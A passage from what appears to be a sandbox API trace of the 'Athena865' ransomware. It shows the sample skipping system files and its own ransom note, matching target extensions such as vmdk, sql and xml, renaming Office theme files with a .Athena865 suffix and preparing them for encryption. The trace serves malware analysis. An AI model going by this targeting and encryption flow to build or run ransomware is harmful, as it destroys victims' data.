(HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.624] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0136.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.624] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0136.624] CloseHandle (hObject=0x17c) returned 1 [0136.625] CloseHandle (hObject=0x154) returned 1 [0136.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.625] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.625] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19e94200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x19e94200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Slipstream.xml", cAlternateFileName="SLIPST~1.XML")) returned 1 [0136.625] lstrcmpiW (lpString1="Slipstream.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0136.625] lstrcmpiW (lpString1="Slipstream.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.625] lstrcmpiW (lpString1="Slipstream.xml", lpString2=".") returned 1 [0136.625] lstrcmpiW (lpString1="Slipstream.xml", lpString2="..") returned 1 [0136.625] lstrcmpiW (lpString1="Slipstream.xml", lpString2="windows") returned -1 [0136.625] lstrcmpiW (lpString1="Slipstream.xml", lpString2="bootmgr") returned 1 [0136.625] lstrcmpiW (lpString1="Slipstream.xml", lpString2="temp") returned -1 [0136.625] lstrcmpiW (lpString1="Slipstream.xml", lpString2="pagefile.sys") returned 1 [0136.625] lstrcmpiW (lpString1="Slipstream.xml", lpString2="boot") returned 1 [0136.625] lstrcmpiW (lpString1="Slipstream.xml", lpString2="ids.txt") returned 1 [0136.625] lstrcmpiW (lpString1="Slipstream.xml", lpString2="ntuser.dat") returned 1 [0136.625] lstrcmpiW (lpString1="Slipstream.xml", lpString2="perflogs") returned 1 [0136.625] lstrcmpiW (lpString1="Slipstream.xml", lpString2="MSBuild") returned 1 [0136.625] lstrlenW (lpString="Slipstream.xml") returned 14 [0136.626] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Slipstream.xml" | out: lpString1="Slipstream.xml") returned="Slipstream.xml" [0136.626] lstrlenW (lpString="Slipstream.xml") returned 14 [0136.626] lstrlenW (lpString="Athena865") returned 9 [0136.626] lstrcmpiW (lpString1="tream.xml", lpString2="Athena865") returned 1 [0136.626] lstrlenW (lpString=".dll") returned 4 [0136.626] lstrcmpiW (lpString1="Slipstream.xml", lpString2=".dll") returned 1 [0136.626] lstrlenW (lpString=".lnk") returned 4 [0136.626] lstrcmpiW (lpString1="Slipstream.xml", lpString2=".lnk") returned 1 [0136.626] lstrlenW (lpString=".ini") returned 4 [0136.626] lstrcmpiW (lpString1="Slipstream.xml", lpString2=".ini") returned 1 [0136.626] lstrlenW (lpString=".sys") returned 4 [0136.626] lstrcmpiW (lpString1="Slipstream.xml", lpString2=".sys") returned 1 [0136.626] lstrlenW (lpString="Slipstream.xml") returned 14 [0136.626] lstrlenW (lpString="bak") returned 3 [0136.626] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0136.626] lstrlenW (lpString="ba_") returned 3 [0136.626] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0136.626] lstrlenW (lpString="dbb") returned 3 [0136.626] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0136.626] lstrlenW (lpString="vmdk") returned 4 [0136.626] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0136.626] lstrlenW (lpString="rar") returned 3 [0136.626] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0136.626] lstrlenW (lpString="zip") returned 3 [0136.626] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0136.627] lstrlenW (lpString="tgz") returned 3 [0136.627] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0136.627] lstrlenW (lpString="vbox") returned 4 [0136.627] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0136.627] lstrlenW (lpString="vdi") returned 3 [0136.627] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0136.627] lstrlenW (lpString="vhd") returned 3 [0136.627] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0136.627] lstrlenW (lpString="vhdx") returned 4 [0136.627] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0136.627] lstrlenW (lpString="avhd") returned 4 [0136.627] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0136.627] lstrlenW (lpString="db") returned 2 [0136.627] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0136.627] lstrlenW (lpString="db2") returned 3 [0136.627] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0136.627] lstrlenW (lpString="db3") returned 3 [0136.627] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0136.627] lstrlenW (lpString="dbf") returned 3 [0136.627] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0136.627] lstrlenW (lpString="mdf") returned 3 [0136.627] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0136.627] lstrlenW (lpString="mdb") returned 3 [0136.627] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0136.627] lstrlenW (lpString="sql") returned 3 [0136.627] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0136.628] lstrlenW (lpString="sqlite") returned 6 [0136.628] lstrcmpiW (lpString1="am.xml", lpString2="sqlite") returned -1 [0136.628] lstrlenW (lpString="sqlite3") returned 7 [0136.628] lstrcmpiW (lpString1="eam.xml", lpString2="sqlite3") returned -1 [0136.628] lstrlenW (lpString="sqlitedb") returned 8 [0136.628] lstrcmpiW (lpString1="ream.xml", lpString2="sqlitedb") returned -1 [0136.628] lstrlenW (lpString="xml") returned 3 [0136.628] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0136.628] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml.Athena865") returned 90 [0136.628] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml.athena865"), dwFlags=0x1) returned 1 [0136.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Slipstream.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\slipstream.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.631] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=965) returned 1 [0136.631] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.631] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.631] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.631] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.632] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.632] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.632] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x17c [0136.633] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000 [0136.634] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.635] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.635] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.635] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.635] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.635] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.635] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.635] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.635] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.635] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0136.636] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.636] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.636] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.636] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0136.636] CloseHandle (hObject=0x17c) returned 1 [0136.636] CloseHandle (hObject=0x154) returned 1 [0136.636] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.636] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.636] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.636] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaeab000, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaeab000, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Solstice.xml", cAlternateFileName="")) returned 1 [0136.636] lstrcmpiW (lpString1="Solstice.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0136.636] lstrcmpiW (lpString1="Solstice.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.636] lstrcmpiW (lpString1="Solstice.xml", lpString2=".") returned 1 [0136.637] lstrcmpiW (lpString1="Solstice.xml", lpString2="..") returned 1 [0136.637] lstrcmpiW (lpString1="Solstice.xml", lpString2="windows") returned -1 [0136.637] lstrcmpiW (lpString1="Solstice.xml", lpString2="bootmgr") returned 1 [0136.637] lstrcmpiW (lpString1="Solstice.xml", lpString2="temp") returned -1 [0136.637] lstrcmpiW (lpString1="Solstice.xml", lpString2="pagefile.sys") returned 1 [0136.637] lstrcmpiW (lpString1="Solstice.xml", lpString2="boot") returned 1 [0136.637] lstrcmpiW (lpString1="Solstice.xml", lpString2="ids.txt") returned 1 [0136.637] lstrcmpiW (lpString1="Solstice.xml", lpString2="ntuser.dat") returned 1 [0136.637] lstrcmpiW (lpString1="Solstice.xml", lpString2="perflogs") returned 1 [0136.637] lstrcmpiW (lpString1="Solstice.xml", lpString2="MSBuild") returned 1 [0136.637] lstrlenW (lpString="Solstice.xml") returned 12 [0136.637] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Solstice.xml" | out: lpString1="Solstice.xml") returned="Solstice.xml" [0136.637] lstrlenW (lpString="Solstice.xml") returned 12 [0136.637] lstrlenW (lpString="Athena865") returned 9 [0136.637] lstrcmpiW (lpString1="stice.xml", lpString2="Athena865") returned 1 [0136.637] lstrlenW (lpString=".dll") returned 4 [0136.637] lstrcmpiW (lpString1="Solstice.xml", lpString2=".dll") returned 1 [0136.637] lstrlenW (lpString=".lnk") returned 4 [0136.637] lstrcmpiW (lpString1="Solstice.xml", lpString2=".lnk") returned 1 [0136.637] lstrlenW (lpString=".ini") returned 4 [0136.637] lstrcmpiW (lpString1="Solstice.xml", lpString2=".ini") returned 1 [0136.637] lstrlenW (lpString=".sys") returned 4 [0136.637] lstrcmpiW (lpString1="Solstice.xml", lpString2=".sys") returned 1 [0136.637] lstrlenW (lpString="Solstice.xml") returned 12 [0136.637] lstrlenW (lpString="bak") returned 3 [0136.637] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0136.637] lstrlenW (lpString="ba_") returned 3 [0136.638] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0136.638] lstrlenW (lpString="dbb") returned 3 [0136.638] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0136.638] lstrlenW (lpString="vmdk") returned 4 [0136.638] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0136.638] lstrlenW (lpString="rar") returned 3 [0136.638] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0136.638] lstrlenW (lpString="zip") returned 3 [0136.638] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0136.638] lstrlenW (lpString="tgz") returned 3 [0136.638] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0136.638] lstrlenW (lpString="vbox") returned 4 [0136.638] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0136.638] lstrlenW (lpString="vdi") returned 3 [0136.638] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0136.638] lstrlenW (lpString="vhd") returned 3 [0136.638] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0136.638] lstrlenW (lpString="vhdx") returned 4 [0136.638] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0136.638] lstrlenW (lpString="avhd") returned 4 [0136.638] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0136.638] lstrlenW (lpString="db") returned 2 [0136.638] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0136.638] lstrlenW (lpString="db2") returned 3 [0136.638] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0136.638] lstrlenW (lpString="db3") returned 3 [0136.639] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0136.639] lstrlenW (lpString="dbf") returned 3 [0136.639] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0136.639] lstrlenW (lpString="mdf") returned 3 [0136.639] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0136.639] lstrlenW (lpString="mdb") returned 3 [0136.639] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0136.639] lstrlenW (lpString="sql") returned 3 [0136.639] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0136.639] lstrlenW (lpString="sqlite") returned 6 [0136.639] lstrcmpiW (lpString1="ce.xml", lpString2="sqlite") returned -1 [0136.639] lstrlenW (lpString="sqlite3") returned 7 [0136.639] lstrcmpiW (lpString1="ice.xml", lpString2="sqlite3") returned -1 [0136.639] lstrlenW (lpString="sqlitedb") returned 8 [0136.639] lstrcmpiW (lpString1="tice.xml", lpString2="sqlitedb") returned 1 [0136.639] lstrlenW (lpString="xml") returned 3 [0136.639] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0136.639] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml.Athena865") returned 88 [0136.639] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml.athena865"), dwFlags=0x1) returned 1 [0136.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Solstice.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\solstice.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.641] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=963) returned 1 [0136.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.641] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.641] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.642] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.642] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.643] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6d0, lpName=0x0) returned 0x17c [0136.644] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6d0) returned 0x100000 [0136.645] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.645] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.645] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0136.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50d3a8 | out: hHeap=0x4f0000) returned 1 [0136.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0136.646] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0136.646] CloseHandle (hObject=0x17c) returned 1 [0136.646] CloseHandle (hObject=0x154) returned 1 [0136.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540d48 | out: hHeap=0x4f0000) returned 1 [0136.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ecc0 | out: hHeap=0x4f0000) returned 1 [0136.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0136.647] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1bdd00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc1bdd00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Technic.xml", cAlternateFileName="")) returned 1 [0136.647] lstrcmpiW (lpString1="Technic.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0136.647] lstrcmpiW (lpString1="Technic.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0136.647] lstrcmpiW (lpString1="Technic.xml", lpString2=".") returned 1 [0136.647] lstrcmpiW (lpString1="Technic.xml", lpString2="..") returned 1 [0136.647] lstrcmpiW (lpString1="Technic.xml", lpString2="windows") returned -1 [0136.647] lstrcmpiW (lpString1="Technic.xml", lpString2="bootmgr") returned 1 [0136.647] lstrcmpiW (lpString1="Technic.xml", lpString2="temp") returned -1 [0136.647] lstrcmpiW (lpString1="Technic.xml", lpString2="pagefile.sys") returned 1 [0136.647] lstrcmpiW (lpString1="Technic.xml", lpString2="boot") returned 1 [0136.647] lstrcmpiW (lpString1="Technic.xml", lpString2="ids.txt") returned 1 [0136.647] lstrcmpiW (lpString1="Technic.xml", lpString2="ntuser.dat") returned 1 [0136.647] lstrcmpiW (lpString1="Technic.xml", lpString2="perflogs") returned 1 [0136.647] lstrcmpiW (lpString1="Technic.xml", lpString2="MSBuild") returned 1 [0136.647] lstrlenW (lpString="Technic.xml") returned 11 [0136.647] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Technic.xml" | out: lpString1="Technic.xml") returned="Technic.xml" [0136.648] lstrlenW (lpString="Technic.xml") returned 11 [0136.648] lstrlenW (lpString="Athena865") returned 9 [0136.648] lstrcmpiW (lpString1="chnic.xml", lpString2="Athena865") returned 1 [0136.648] lstrlenW (lpString=".dll") returned 4 [0136.648] lstrcmpiW (lpString1="Technic.xml", lpString2=".dll") returned 1 [0136.648] lstrlenW (lpString=".lnk") returned 4 [0136.648] lstrcmpiW (lpString1="Technic.xml", lpString2=".lnk") returned 1 [0136.648] lstrlenW (lpString=".ini") returned 4 [0136.648] lstrcmpiW (lpString1="Technic.xml", lpString2=".ini") returned 1 [0136.648] lstrlenW (lpString=".sys") returned 4 [0136.648] lstrcmpiW (lpString1="Technic.xml", lpString2=".sys") returned 1 [0136.648] lstrlenW (lpString="Technic.xml") returned 11 [0136.648] lstrlenW (lpString="bak") returned 3 [0136.648] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0136.648] lstrlenW (lpString="ba_") returned 3 [0136.648] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0136.648] lstrlenW (lpString="dbb") returned 3 [0136.648] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0136.648] lstrlenW (lpString="vmdk") returned 4 [0136.648] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0136.648] lstrlenW (lpString="rar") returned 3 [0136.648] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0136.648] lstrlenW (lpString="zip") returned 3 [0136.648] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0136.648] lstrlenW (lpString="tgz") returned 3 [0136.648] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0136.649] lstrlenW (lpString="vbox") returned 4 [0136.649] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0136.649] lstrlenW (lpString="vdi") returned 3 [0136.649] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0136.649] lstrlenW (lpString="vhd") returned 3 [0136.649] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0136.649] lstrlenW (lpString="vhdx") returned 4 [0136.649] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0136.649] lstrlenW (lpString="avhd") returned 4 [0136.649] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0136.649] lstrlenW (lpString="db") returned 2 [0136.649] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0136.649] lstrlenW (lpString="db2") returned 3 [0136.649] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0136.649] lstrlenW (lpString="db3") returned 3 [0136.649] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0136.649] lstrlenW (lpString="dbf") returned 3 [0136.649] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0136.649] lstrlenW (lpString="mdf") returned 3 [0136.649] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0136.649] lstrlenW (lpString="mdb") returned 3 [0136.649] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0136.649] lstrlenW (lpString="sql") returned 3 [0136.649] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0136.649] lstrlenW (lpString="sqlite") returned 6 [0136.649] lstrcmpiW (lpString1="ic.xml", lpString2="sqlite") returned -1 [0136.649] lstrlenW (lpString="sqlite3") returned 7 [0136.650] lstrcmpiW (lpString1="nic.xml", lpString2="sqlite3") returned -1 [0136.650] lstrlenW (lpString="sqlitedb") returned 8 [0136.650] lstrcmpiW (lpString1="hnic.xml", lpString2="sqlitedb") returned -1 [0136.650] lstrlenW (lpString="xml") returned 3 [0136.650] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0136.650] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml.Athena865") returned 87 [0136.650] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml.athena865"), dwFlags=0x1) returned 1 [0136.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Technic.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\technic.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.652] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=962) returned 1 [0136.652] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.652] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.652] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.652] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.653] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.653] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.653] CreateFileMappingW (hFile=0x154, 